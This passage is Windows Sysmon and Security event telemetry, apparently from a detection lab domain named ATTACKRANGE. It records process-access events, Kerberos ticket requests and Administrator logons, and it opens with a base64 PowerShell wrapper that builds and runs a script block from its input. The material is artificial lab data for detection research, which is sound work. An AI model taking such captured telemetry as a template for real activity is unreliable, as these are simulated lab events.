JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.162\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nSourceProcessId: 4248\r\nSourceThreadId: 4004\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA448890)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.162","SourceProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","SourceProcessId":"4248","SourceThreadId":"4004","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","TargetProcessId":"3656","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA448890)","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.162\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.162","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","TargetProcessId":"3656","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221912,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221913,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221914,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221915,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x698F5\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length 